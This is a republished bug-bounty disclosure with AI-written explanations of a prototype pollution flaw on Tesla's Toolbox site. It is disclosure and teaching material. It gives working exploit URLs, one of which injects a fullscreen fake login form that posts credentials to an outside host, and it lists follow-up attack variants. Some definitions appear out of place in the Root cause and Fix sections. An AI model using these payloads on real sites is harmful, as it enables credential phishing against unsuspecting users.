Skip to content
Prototype pollution Disclosed report Intermediate

[toolbox.teslamotors.com] HTML Injection via Prototype Pollution / Potential XSS

The Toolbox website used a JavaScript library vulnerable to prototype pollution, allowing an attacker to inject arbitrary HTML into the page. Because inline JavaScript was blocked by CSP, the attacker could only create HTML injection, such as a fake login form, rather than execute script.

BlackFan Follow

Originally disclosed on Bugcrowd

Bounty$200 Low View original
  • Accepted in 8 days
  • Fixed in 8 days
  • Disclosed after 12 days

Summary by BlackFan

Toolbox website uses the backbone.queryparams.js script which is vulnerable to Prototype Pollution. Using the existing js code, it is possible to add arbitrary HTML to the page (but inline js is blocked by the CSP).

Report details

  • Submitted

    01 Oct 2020 11:24:07 UTC

  • Target Location

    *.teslamotors.com

  • Target category

    Web App

  • VRT

    Server-Side Injection > Content Spoofing > iframe Injection

  • Priority

    P4

  • Bug URL

    https://toolbox.teslamotors.com/

  • Description

    Toolbox website uses the backbone.queryparams.js script which is vulnerable to Prototype Pollution.

    For example:

    • Open URL https://toolbox.teslamotors.com/?__proto__.VULN=PROTOTYPE_POLLUTION

    • Check in the console that Object.prototype.VULN was created

    Using this, an attacker can change the logic of scripts that are executed next. For example, make HTML Injection (in fact, this is XSS, but the site has a strict Content-Security-Policy).

    HTML Injection PoC:

    https://toolbox.teslamotors.com/?__proto__.id=1&__proto__.id=1&__proto__.username=1&__proto__.username=1&&__proto__.display_name=%3Cmarquee%3E&__proto__.display_name=1
    

    PoC with Fake Login page via fullscreen iframe:

    https://toolbox.teslamotors.com/?__proto__.id=1&__proto__.id=1&__proto__.username=1&__proto__.username=1&__proto__.display_name=%3Ciframe/srcdoc=%27%3Chtml%20lang=%22en%22%3E%3Chead%3E%3Cbase%20href=%22https://toolbox.teslamotors.com/%22/%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/jquery-ui.min.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/dataTables.bootstrap.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/dataTables.tableTools.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/dataTables.scroller.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/bootstrap.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/bootstrap-dialog.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/bootstrap-select.min.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/bootstrap-editable.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/font-awesome.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/tbxweb.css%22%3E%3C/head%3E%3Cbody%3E%3Cdiv%20id=%22body%22%3E%3Cdiv%20id=%22banner-layout%22%3E%3C/div%3E%3Cdiv%20id=%22main-menu%22%3E%3Cnav%20class=%22navbar%20navbar-default%20navbar-static-top%22role=%22navigation%22style=%22margin-bottom:0px%22%3E%3Cdiv%20class=%22container%22%3E%3Cdiv%20class=%22navbar-header%22%3E%3Cbutton%20type=%22button%22class=%22navbar-toggle%20collapsed%22data-toggle=%22collapse%22data-target=%22%23navbar%22aria-expanded=%22false%22aria-controls=%22navbar%22%3E%3Cspan%20class=%22sr-only%22%3EToggle%20navigation%3C/span%3E%3Cspan%20class=%22icon-bar%22%3E%3C/span%3E%3Cspan%20class=%22icon-bar%22%3E%3C/span%3E%3Cspan%20class=%22icon-bar%22%3E%3C/span%3E%3C/button%3E%3Ca%20class=%22navbar-brand%22href=%22/%22style=%22padding-top:%200px;%20padding-left:%205px%22%3E%3Cimg%20style=%22height:75px%22alt=%22Brand%22src=%22/assets/images/tesla_flag.png%22%3E%3C/a%3E%3Ca%20class=%22navbar-brand%22style=%22font-size:%2023px%22href=%22/%22%3EToolbox%3C/a%3E%3C/div%3E%3Cdiv%20id=%22navbar%22class=%22navbar-collapse%20collapse%22%3E%3Cul%20class=%22nav%20navbar-nav%22%3E%3Cli%20class=%22dropdown%22%3E%3Ca%20href=%22/software/download%22class=%22dropdown-toggle%22role=%22button%22aria-expanded=%22false%22%3ESoftware%20%3Cspan%20class=%22caret%22%3E%3C/span%3E%3C/a%3E%3Cul%20class=%22dropdown-menu%22role=%22menu%22%3E%3Cli%3E%3Ca%20href=%22/software/download%22%3EDownload%3C/a%3E%3C/li%3E%3C/ul%3E%3C/li%3E%3C/ul%3E%3Cdiv%20id=%22search-form%22class=%22navbar-form%20navbar-left%22%3E%3C/div%3E%3Cdiv%20id=%22user-nav%22class=%22nav%20navbar-nav%20navbar-right%22%3E%3Cdiv%3E%3Cul%20class=%22nav%20navbar-nav%20navbar-right%22%3E%3Cli%3E%3Cspan%20class=%22glyphicon%20glyphicon-user%22aria-hidden=%22true%22%3E%3C/span%3E%20Login%20/%20Register%3C/a%3E%3C/li%3E%3C/ul%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/nav%3E%3C/div%3E%3Cdiv%20id=%22contents%22%3E%3Cdiv%3E%3Cdiv%20id=%22content%22class=%22container%22%3E%3Cform%20target=_parent%20action=//blackfan.ru/fk%20class=%22form-signin%22role=%22form%22%3E%3Ch2%20class=%22form-signin-heading%22%3E%3Cfont%20color=%22red%22%3E%3Cb%3EFAKE%3C/b%3E%3C/font%3E%20Toolbox%20Online%20Portal%20(External%20Site)%3C/h2%3E%3Cp%20id=%22error-text%22class=%22help-block%22%3E%3C/p%3E%3Cdiv%20class=%22form-group%22%3E%3Cinput%20id=%22username%22name=%22login%22class=%22form-control%20login-control%22placeholder=%22username%22autofocus=%22%22%3E%3Cinput%20id=%22password%22name=%22password%22type=%22password%22class=%22form-control%20login-control%22placeholder=%22password%22%3E%3C/div%3E%3Cdiv%20id=%22captcha-container%22%3E%3C/div%3E%3Cbutton%20id=%22login-btnx%22type=%22submit%22class=%22btn%20btn-default%20btn-block%22%3ESign%20in%3C/button%3E%3C/form%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/body%3E%3C/html%3E%27/style=%22position:fixed;top:0;left:0;bottom:0;right:0;width:100%25;height:100%25;border:none;margin:0;padding:0;overflow:hidden;z-index:999999;%22%3E%3C/iframe%3E&__proto__.display_name=1
    

The original report as published on Bugcrowd, by BlackFan. Images and videos are our own copies; raw HTML is shown as text. View it on Bugcrowd.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

Tesla runs a web application called Toolbox at https://toolbox.teslamotors.com/, a portal that, among other things, offers software downloads and a login/registration area in its navigation bar. The page loads a set of JavaScript assets, one of which is backbone.queryparams.js, served from /assets/js/backbone.queryparams.js. That plugin parses query string parameters and feeds them into Backbone-style parameter handling, and it is the component at the centre of this report.

The site is protected by a Content-Security-Policy strict enough that inline JavaScript does not execute. That constraint shapes the whole finding: the researcher could get arbitrary HTML into the page, but not script, so the report is filed as HTML injection with a note that it would otherwise be XSS.

Setup

No account, role or special tooling is needed. Everything below is reachable by an unauthenticated visitor with a browser and its developer console. The only precondition is that the target page loads the vulnerable backbone.queryparams.js script, which the Toolbox home page does.

Finding it

The researcher identified that backbone.queryparams.js is vulnerable to prototype pollution. The plugin is vulnerable to prototype pollution: a query string key such as __proto__.VULN reaches Object.prototype. Because every subsequent script on the page shares that prototype, properties planted there become visible to code that never received them as input.

Exploitation

Step 1: Confirm the prototype pollution

The first step is a minimal check that a query parameter can reach Object.prototype:

Text
https://toolbox.teslamotors.com/?__proto__.VULN=PROTOTYPE_POLLUTION

After loading that URL, the researcher checked the browser console and confirmed that Object.prototype.VULN had been created. That is the proof of pollution: a value supplied purely through the URL now exists on the prototype shared by all objects in the page.

Step 2: Turn pollution into HTML injection

With the ability to set arbitrary prototype properties, an attacker can change the logic of scripts that execute afterwards. The researcher used this to make the page render attacker-chosen HTML. The payload below sets several prototype properties, including display_name, to a <marquee> element:

Text
https://toolbox.teslamotors.com/?__proto__.id=1&__proto__.id=1&__proto__.username=1&__proto__.username=1&&__proto__.display_name=%3Cmarquee%3E&__proto__.display_name=1

The payload sets several prototype properties, including display_name, to a <marquee> element. When the page's own rendering code reads display_name from an object that does not define it, it inherits the injected markup and writes it into the DOM. The result is HTML injection. The researcher notes explicitly that this is in fact XSS, but that the site's strict Content-Security-Policy blocks inline JavaScript, so script execution does not occur.

Step 3: Fake login page in a fullscreen iframe

The second proof of concept escalates the same primitive into a convincing phishing surface by injecting a fullscreen iframe whose content is supplied through srcdoc:

Text
https://toolbox.teslamotors.com/?__proto__.id=1&__proto__.id=1&__proto__.username=1&__proto__.username=1&__proto__.display_name=%3Ciframe/srcdoc=%27%3Chtml%20lang=%22en%22%3E%3Chead%3E%3Cbase%20href=%22https://toolbox.teslamotors.com/%22/%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/jquery-ui.min.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/dataTables.bootstrap.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/dataTables.tableTools.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/dataTables.scroller.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/bootstrap.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/bootstrap-dialog.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/bootstrap-select.min.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/bootstrap-editable.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/font-awesome.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/tbxweb.css%22%3E%3C/head%3E%3Cbody%3E%3Cdiv%20id=%22body%22%3E%3Cdiv%20id=%22banner-layout%22%3E%3C/div%3E%3Cdiv%20id=%22main-menu%22%3E%3Cnav%20class=%22navbar%20navbar-default%20navbar-static-top%22role=%22navigation%22style=%22margin-bottom:0px%22%3E%3Cdiv%20class=%22container%22%3E%3Cdiv%20class=%22navbar-header%22%3E%3Cbutton%20type=%22button%22class=%22navbar-toggle%20collapsed%22data-toggle=%22collapse%22data-target=%22%23navbar%22aria-expanded=%22false%22aria-controls=%22navbar%22%3E%3Cspan%20class=%22sr-only%22%3EToggle%20navigation%3C/span%3E%3Cspan%20class=%22icon-bar%22%3E%3C/span%3E%3Cspan%20class=%22icon-bar%22%3E%3C/span%3E%3Cspan%20class=%22icon-bar%22%3E%3C/span%3E%3C/button%3E%3Ca%20class=%22navbar-brand%22href=%22/%22style=%22padding-top:%200px;%20padding-left:%205px%22%3E%3Cimg%20style=%22height:75px%22alt=%22Brand%22src=%22/assets/images/tesla_flag.png%22%3E%3C/a%3E%3Ca%20class=%22navbar-brand%22style=%22font-size:%2023px%22href=%22/%22%3EToolbox%3C/a%3E%3C/div%3E%3Cdiv%20id=%22navbar%22class=%22navbar-collapse%20collapse%22%3E%3Cul%20class=%22nav%20navbar-nav%22%3E%3Cli%20class=%22dropdown%22%3E%3Ca%20href=%22/software/download%22class=%22dropdown-toggle%22role=%22button%22aria-expanded=%22false%22%3ESoftware%20%3Cspan%20class=%22caret%22%3E%3C/span%3E%3C/a%3E%3Cul%20class=%22dropdown-menu%22role=%22menu%22%3E%3Cli%3E%3Ca%20href=%22/software/download%22%3EDownload%3C/a%3E%3C/li%3E%3C/ul%3E%3C/li%3E%3C/ul%3E%3Cdiv%20id=%22search-form%22class=%22navbar-form%20navbar-left%22%3E%3C/div%3E%3Cdiv%20id=%22user-nav%22class=%22nav%20navbar-nav%20navbar-right%22%3E%3Cdiv%3E%3Cul%20class=%22nav%20navbar-nav%20navbar-right%22%3E%3Cli%3E%3Cspan%20class=%22glyphicon%20glyphicon-user%22aria-hidden=%22true%22%3E%3C/span%3E%20Login%20/%20Register%3C/a%3E%3C/li%3E%3C/ul%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/nav%3E%3C/div%3E%3Cdiv%20id=%22contents%22%3E%3Cdiv%3E%3Cdiv%20id=%22content%22class=%22container%22%3E%3Cform%20target=_parent%20action=//blackfan.ru/fk%20class=%22form-signin%22role=%22form%22%3E%3Ch2%20class=%22form-signin-heading%22%3E%3Cfont%20color=%22red%22%3E%3Cb%3EFAKE%3C/b%3E%3C/font%3E%20Toolbox%20Online%20Portal%20(External%20Site)%3C/h2%3E%3Cp%20id=%22error-text%22class=%22help-block%22%3E%3C/p%3E%3Cdiv%20class=%22form-group%22%3E%3Cinput%20id=%22username%22name=%22login%22class=%22form-control%20login-control%22placeholder=%22username%22autofocus=%22%22%3E%3Cinput%20id=%22password%22name=%22password%22type=%22password%22class=%22form-control%20login-control%22placeholder=%22password%22%3E%3C/div%3E%3Cdiv%20id=%22captcha-container%22%3E%3C/div%3E%3Cbutton%20id=%22login-btnx%22type=%22submit%22class=%22btn%20btn-default%20btn-block%22%3ESign%20in%3C/button%3E%3C/form%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/body%3E%3C/html%3E%27/style=%22position:fixed;top:0;left:0;bottom:0;right:0;width:100%25;height:100%25;border:none;margin:0;padding:0;overflow:hidden;z-index:999999;%22%3E%3C/iframe%3E&__proto__.display_name=1

Decoded, the injected value is an <iframe> with a srcdoc attribute containing a complete HTML document, plus an inline style that pins it to the viewport:

The important parts of that document:

  • A <base href="https://toolbox.teslamotors.com/"/> and links to the site's own CSS files.
  • A navbar with the Tesla flag image at /assets/images/tesla_flag.png and the Software / Download menu.
  • A form with target=_parent and action=//blackfan.ru/fk.
  • Username and password inputs named login and password, and a heading reading FAKE Toolbox Online Portal (External Site) with the word FAKE in red.
  • The outer iframe style fixes it to the whole viewport with z-index:999999.

Because the iframe content is delivered through srcdoc, the injected markup is self-contained and does not need to load a remote document.

Root cause

The defect is in backbone.queryparams.js, which the Toolbox site includes. The plugin is vulnerable to prototype pollution, so a request like ?__proto__.VULN=PROTOTYPE_POLLUTION writes a property onto Object.prototype. Once a property exists on the prototype, every object that does not shadow it inherits the value, and any later script that reads that property and inserts it into the DOM renders attacker-controlled markup. The site's Content-Security-Policy is the only thing that keeps this from becoming script execution: inline JavaScript is blocked, so the researcher could inject HTML but not run code. The CSP was not bypassed in this report.

Impact

The direct consequence is HTML injection on https://toolbox.teslamotors.com/ for any visitor who opens a crafted link. Because inline script is blocked, the injection cannot run JavaScript, which limits it below full XSS. The practical attack demonstrated is content spoofing: a fullscreen iframe that reproduces the Toolbox login interface and posts the entered username and password to an attacker-controlled endpoint. A victim who follows the crafted URL and trusts the page could hand over credentials.

Fix

The report does not describe a fix or a vendor response beyond the submission details.

Variants to test

  1. Send ?__proto__.VULN=PROTOTYPE_POLLUTION to other pages that include backbone.queryparams.js and check the console for Object.prototype.VULN. A positive result is the property appearing on the prototype.
  2. Try the same dotted-key technique with other property names the page's rendering code reads, such as display_name, username or id, and look for the injected value appearing in the DOM. A positive result is attacker markup rendered on the page.
  3. Test whether the pollution can reach a sink that executes script, for example an attribute or URL consumed by a script that is allowed by the CSP. A positive result is JavaScript execution despite the policy.
  4. Check other query string parsers and client-side libraries on the same and related hosts for the same recursive-assignment pattern. A positive result is any library that lets a URL parameter create a property on Object.prototype.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

Tesla runs a website called Toolbox at https://toolbox.teslamotors.com/. It is a portal where people can, among other things, download software and log in or register, and those options sit in a navigation bar at the top of the page. Like most modern websites, the page is not a single fixed document: it loads small programs written in JavaScript that run inside your browser and build parts of the page as you use it. One of those programs is a file called backbone.queryparams.js, served from /assets/js/backbone.queryparams.js.

That file has a job that sounds boring: it reads the extra bits stuck on the end of a web address, the part after the ? sign, and turns them into values the page can use. Those extra bits are called the query string. For example, in https://example.com/search?colour=red, the query string is colour=red. The plugin reads the query string parameters.

The problem is how it stores them. A name in the query string such as __proto__.VULN ends up writing into Object.prototype, the shared prototype every object on the page can see. That shared box is called Object.prototype. Writing into it from outside is called prototype pollution, and it is the heart of this report.

The site also has a security guard called a Content-Security-Policy, usually shortened to CSP. A CSP is a set of rules the site sends to your browser saying what the page is allowed to do, for example which places scripts may be loaded from. Toolbox's policy is strict enough that JavaScript written directly into the page (inline JavaScript) will not run. That detail matters for the whole story: the researcher could get their own HTML into the page, but not their own script. HTML is the language that describes what appears on a page (headings, images, forms); JavaScript is the language that makes a page do things. Injecting HTML without being able to run JavaScript is called HTML injection. If script could run too, it would be cross-site scripting, or XSS. The researcher says plainly that this is in fact XSS, but the strict CSP stops the script part.

So the finding is: a crafted link to the Toolbox home page can plant a value in a shared place inside the browser, the page's own code then picks that value up and prints it as HTML, and because of that an attacker can make the real Tesla page display content of their choosing, including a fake login form.

The target and the setup

No account, no special role and no special tooling are needed to follow this. Everything is reachable by an ordinary visitor with a browser and its developer console. The developer console is a panel built into every major browser, usually opened with F12 or with the menu, where you can see error messages and type commands to inspect the page. The only precondition is that the target page loads the vulnerable backbone.queryparams.js script, and the Toolbox home page does.

Finding it

The researcher found that backbone.queryparams.js is vulnerable to prototype pollution. To understand that phrase, you need one idea from JavaScript: objects and their prototype.

In JavaScript, an object is a collection of named values, a bit like a labelled filing cabinet. Every object also has a parent object it can borrow from, called its prototype. When code asks an object for a value it does not have itself, JavaScript looks in the object's prototype, and then in that prototype's prototype, and so on up the chain. At the very top of that chain sits Object.prototype, the ancestor of essentially every object on the page. Think of it as a shared noticeboard in an office: if something is pinned there, everyone who walks past can read it, even though nobody put it there personally.

Normally only the page's own code can pin things to that noticeboard. The bug is that the plugin is vulnerable to prototype pollution: a query string name such as __proto__.VULN writes through to Object.prototype. __proto__ is the special name JavaScript uses to refer to an object's prototype. Because every later script on the page shares that same prototype, values planted there become visible to code that never received them as input. The page's own code then behaves as if those values had been there all along.

Exploitation

Step 1: Confirm the prototype pollution

The first step is a minimal check that a query parameter can reach Object.prototype:

Text
https://toolbox.teslamotors.com/?__proto__.VULN=PROTOTYPE_POLLUTION

Line by line, in plain words:

  • https://toolbox.teslamotors.com/ is the Toolbox home page, the page that loads the vulnerable script.
  • ? marks the start of the query string, the part of the address the page's code reads.
  • __proto__.VULN is the name of the parameter. The double underscore name __proto__ points at the shared prototype, and .VULN says which property to set on it. VULN is just a made-up name chosen for the test; it could be anything.
  • = separates the name from the value.
  • PROTOTYPE_POLLUTION is the value being written. It is a harmless marker so the researcher can recognise it later.

After loading that URL, the researcher checked the browser console and confirmed that Object.prototype.VULN had been created. That is the proof of pollution: a value supplied purely through the address bar now exists on the prototype shared by all objects in the page. The reason for doing this step first is that it isolates the bug from everything else. If the marker appears on the shared noticeboard, the door is open, and the next steps can use it.

Step 2: Turn pollution into HTML injection

Once you can set arbitrary prototype properties, you can change the logic of scripts that run afterwards. The researcher used this to make the page render HTML of their choosing. The payload below sets several prototype properties, including display_name, to a <marquee> element:

Text
https://toolbox.teslamotors.com/?__proto__.id=1&__proto__.id=1&__proto__.username=1&__proto__.username=1&&__proto__.display_name=%3Cmarquee%3E&__proto__.display_name=1

What each part does:

  • __proto__.id=1 and __proto__.username=1 each appear twice. These set the id and username properties on the prototype to the value 1. The payload sets several prototype properties, including display_name, to a <marquee> element.
  • __proto__.display_name=%3Cmarquee%3E sets the display_name property on the prototype. The value is URL-encoded: %3C is < and %3E is >, so it decodes to <marquee>. URL encoding is how special characters travel safely inside a web address; the browser decodes them before the page's code sees them.
  • <marquee> is an old HTML tag that makes text scroll across the screen.

When the page's own rendering code reads display_name from an object that does not define it, it inherits the injected markup from the shared prototype and writes it into the page. The result is HTML injection. The researcher notes explicitly that this is in fact XSS, but the site's strict Content-Security-Policy blocks inline JavaScript, so script execution does not occur. The reason for this step is to show that pollution is not just a curiosity in the console: it can be turned into visible content controlled by the attacker.

Step 3: Fake login page in a fullscreen iframe

The second proof of concept escalates the same primitive into a convincing phishing surface. Phishing means tricking someone into typing their credentials into a page that looks genuine but is not. The technique here is to inject a fullscreen iframe whose content is supplied through srcdoc:

Text
https://toolbox.teslamotors.com/?__proto__.id=1&__proto__.id=1&__proto__.username=1&__proto__.username=1&__proto__.display_name=%3Ciframe/srcdoc=%27%3Chtml%20lang=%22en%22%3E%3Chead%3E%3Cbase%20href=%22https://toolbox.teslamotors.com/%22/%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/jquery-ui.min.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/dataTables.bootstrap.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/dataTables.tableTools.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/dataTables.scroller.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/bootstrap.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/bootstrap-dialog.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/bootstrap-select.min.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/bootstrap-editable.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/font-awesome.css%22%3E%3Clink%20rel=%22stylesheet%22href=%22/assets/css/tbxweb.css%22%3E%3C/head%3E%3Cbody%3E%3Cdiv%20id=%22body%22%3E%3Cdiv%20id=%22banner-layout%22%3E%3C/div%3E%3Cdiv%20id=%22main-menu%22%3E%3Cnav%20class=%22navbar%20navbar-default%20navbar-static-top%22role=%22navigation%22style=%22margin-bottom:0px%22%3E%3Cdiv%20class=%22container%22%3E%3Cdiv%20class=%22navbar-header%22%3E%3Cbutton%20type=%22button%22class=%22navbar-toggle%20collapsed%22data-toggle=%22collapse%22data-target=%22%23navbar%22aria-expanded=%22false%22aria-controls=%22navbar%22%3E%3Cspan%20class=%22sr-only%22%3EToggle%20navigation%3C/span%3E%3Cspan%20class=%22icon-bar%22%3E%3C/span%3E%3Cspan%20class=%22icon-bar%22%3E%3C/span%3E%3Cspan%20class=%22icon-bar%22%3E%3C/span%3E%3C/button%3E%3Ca%20class=%22navbar-brand%22href=%22/%22style=%22padding-top:%200px;%20padding-left:%205px%22%3E%3Cimg%20style=%22height:75px%22alt=%22Brand%22src=%22/assets/images/tesla_flag.png%22%3E%3C/a%3E%3Ca%20class=%22navbar-brand%22style=%22font-size:%2023px%22href=%22/%22%3EToolbox%3C/a%3E%3C/div%3E%3Cdiv%20id=%22navbar%22class=%22navbar-collapse%20collapse%22%3E%3Cul%20class=%22nav%20navbar-nav%22%3E%3Cli%20class=%22dropdown%22%3E%3Ca%20href=%22/software/download%22class=%22dropdown-toggle%22role=%22button%22aria-expanded=%22false%22%3ESoftware%20%3Cspan%20class=%22caret%22%3E%3C/span%3E%3C/a%3E%3Cul%20class=%22dropdown-menu%22role=%22menu%22%3E%3Cli%3E%3Ca%20href=%22/software/download%22%3EDownload%3C/a%3E%3C/li%3E%3C/ul%3E%3C/li%3E%3C/ul%3E%3Cdiv%20id=%22search-form%22class=%22navbar-form%20navbar-left%22%3E%3C/div%3E%3Cdiv%20id=%22user-nav%22class=%22nav%20navbar-nav%20navbar-right%22%3E%3Cdiv%3E%3Cul%20class=%22nav%20navbar-nav%20navbar-right%22%3E%3Cli%3E%3Cspan%20class=%22glyphicon%20glyphicon-user%22aria-hidden=%22true%22%3E%3C/span%3E%20Login%20/%20Register%3C/a%3E%3C/li%3E%3C/ul%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/nav%3E%3C/div%3E%3Cdiv%20id=%22contents%22%3E%3Cdiv%3E%3Cdiv%20id=%22content%22class=%22container%22%3E%3Cform%20target=_parent%20action=//blackfan.ru/fk%20class=%22form-signin%22role=%22form%22%3E%3Ch2%20class=%22form-signin-heading%22%3E%3Cfont%20color=%22red%22%3E%3Cb%3EFAKE%3C/b%3E%3C/font%3E%20Toolbox%20Online%20Portal%20(External%20Site)%3C/h2%3E%3Cp%20id=%22error-text%22class=%22help-block%22%3E%3C/p%3E%3Cdiv%20class=%22form-group%22%3E%3Cinput%20id=%22username%22name=%22login%22class=%22form-control%20login-control%22placeholder=%22username%22autofocus=%22%22%3E%3Cinput%20id=%22password%22name=%22password%22type=%22password%22class=%22form-control%20login-control%22placeholder=%22password%22%3E%3C/div%3E%3Cdiv%20id=%22captcha-container%22%3E%3C/div%3E%3Cbutton%20id=%22login-btnx%22type=%22submit%22class=%22btn%20btn-default%20btn-block%22%3ESign%20in%3C/button%3E%3C/form%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/body%3E%3C/html%3E%27/style=%22position:fixed;top:0;left:0;bottom:0;right:0;width:100%25;height:100%25;border:none;margin:0;padding:0;overflow:hidden;z-index:999999;%22%3E%3C/iframe%3E&__proto__.display_name=1

This is the same trick as before, but the value written into display_name is now a whole <iframe> element, URL-encoded so it can travel in an address. An iframe is a window inside a page: a rectangle that shows another document. The srcdoc attribute is a way of giving an iframe its content directly, as text, instead of pointing it at another web address. So the injected iframe carries its own complete HTML document inside the URL itself.

Decoded, the injected value is an <iframe> with a srcdoc attribute containing a complete HTML document, plus an inline style that pins it to the viewport:

The important parts of that document, in plain words:

  • A <base href="https://toolbox.teslamotors.com/"/> and links to the site's own CSS files.
  • A navbar with the Tesla flag image at /assets/images/tesla_flag.png and the Software / Download menu.
  • A form with target=_parent and action=//blackfan.ru/fk.
  • Username and password inputs named login and password, and a heading reading FAKE Toolbox Online Portal (External Site) with the word FAKE in red.
  • The outer iframe style fixes it to the whole viewport with z-index:999999. position:fixed with top, left, bottom and right all set to 0 stretches the iframe to the edges of the screen, and z-index decides which element sits on top when elements overlap. A very large number puts the fake page in front of everything.

Because the iframe content is delivered through srcdoc, the injected markup is self-contained and does not need to load a remote document. The reason for building this second proof of concept is to show the practical consequence: not just a scrolling banner, but a full-page imitation of the login screen that can collect a username and password.

Root cause

The defect is in backbone.queryparams.js, which the Toolbox site includes. The plugin is vulnerable to prototype pollution. Sanitising means cleaning input so that dangerous parts cannot take effect. Because the dots are followed as a path, a request like ?__proto__.VULN=PROTOTYPE_POLLUTION writes a property onto Object.prototype. Once a property exists on the prototype, every object that does not have its own value for that name inherits it, and any later script that reads that property and inserts it into the page renders markup the attacker chose.

The site's Content-Security-Policy is the only thing that keeps this from becoming script execution: inline JavaScript is blocked, so the researcher could inject HTML but not run code. The CSP was not bypassed in this report.

Impact

The direct consequence is HTML injection on https://toolbox.teslamotors.com/ for any visitor who opens a crafted link. Because inline script is blocked, the injection cannot run JavaScript, which limits it below full XSS. The practical attack demonstrated is content spoofing: a fullscreen iframe that reproduces the Toolbox login interface and posts the entered username and password to an attacker-controlled endpoint. A victim who follows the crafted URL and trusts the page could hand over credentials. The report is rated low severity (P4), and the bounty paid was 200.00 USD.

Fix

The report does not describe a fix or a vendor response beyond the submission details. Recursive assignment means following a path step by step and writing at the end of it, which is exactly what lets the dots reach the shared prototype.

Variants to test

  1. Send ?__proto__.VULN=PROTOTYPE_POLLUTION to other pages that include backbone.queryparams.js and check the console for Object.prototype.VULN. A positive result is the property appearing on the prototype.
  2. Try the same dotted-key technique with other property names the page's rendering code reads, such as display_name, username or id, and look for the injected value appearing in the page. A positive result is attacker markup rendered on the page.
  3. Test whether the pollution can reach a sink that executes script, for example an attribute or URL consumed by a script that is allowed by the CSP. A sink is any place where data ends up being used in a way that has an effect, such as being written into the page or passed to a function that runs code. A positive result is JavaScript execution despite the policy.
  4. Check other query string parsers and client-side libraries on the same and related hosts for the same recursive-assignment pattern. A positive result is any library that lets a URL parameter create a property on Object.prototype.

Glossary

  • API: a defined way for one piece of software to ask another for data or actions, like a service counter with set rules for what you can request.
  • Backbone: a JavaScript library for structuring web applications; backbone.queryparams.js is a plugin that reads query string parameters for it.
  • Bounty: a reward paid by a company to someone who reports a security problem to it.
  • Content-Security-Policy (CSP): rules a website sends to the browser saying what the page may load and run, for example banning inline JavaScript.
  • Cross-site scripting (XSS): a vulnerability where an attacker gets their own JavaScript to run in another person's browser on a trusted site.
  • CSS: the language that describes how a web page looks, such as colours, fonts and layout.
  • Developer console: a panel in the browser where you can see messages and type commands to inspect the page.
  • DOM: the browser's live model of the page, the tree of elements that scripts read and change.
  • Endpoint: a specific address on a server that accepts requests, such as the address a form submits to.
  • HTML: the language that describes the structure and content of a web page, such as headings, images and forms.
  • HTML injection: getting your own HTML into someone else's page so it is displayed as part of that page.
  • Iframe: a window inside a page that shows another document.
  • Inline JavaScript: JavaScript written directly inside the page rather than loaded from a separate file; a strict CSP can block it.
  • JavaScript: the programming language that runs in the browser and makes pages interactive.
  • Object: in JavaScript, a collection of named values, like a labelled filing cabinet.
  • Object.prototype: the shared ancestor object that nearly every JavaScript object inherits from; anything placed there is visible to all of them.
  • Phishing: tricking someone into entering credentials or other sensitive data into a fake page that imitates a real one.
  • Prototype: the parent object a JavaScript object borrows values from when it does not have them itself.
  • Prototype pollution: a vulnerability where attacker-controlled input writes properties onto a shared prototype, changing how other code behaves.
  • Query string: the part of a web address after the ?, made of names and values that the page's code can read.
  • Recursive assignment: writing a value by following a path step by step, which is what lets dotted keys reach a shared prototype.
  • Sanitising: cleaning input so that dangerous parts cannot take effect.
  • Severity (P4): a rating of how serious a finding is; P4 is the lowest priority level in this scheme.
  • Sink: a place where data is used in a way that has an effect, such as being written into the page or passed to code that runs it.
  • srcdoc: an iframe attribute that supplies the iframe's content directly as text instead of pointing at another address.
  • URL encoding: representing special characters in a web address with codes such as %3C for <, so they travel safely.
  • VRT: Vulnerability Rating Taxonomy, a scheme for categorising security findings.
  • z-index: a CSS property that decides which element sits on top when elements overlap.

More from Tesla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Prototype pollution

The lesson behind this report.

Input changes JavaScript's shared object prototype, altering behaviour across the application, sometimes to XSS or code execution.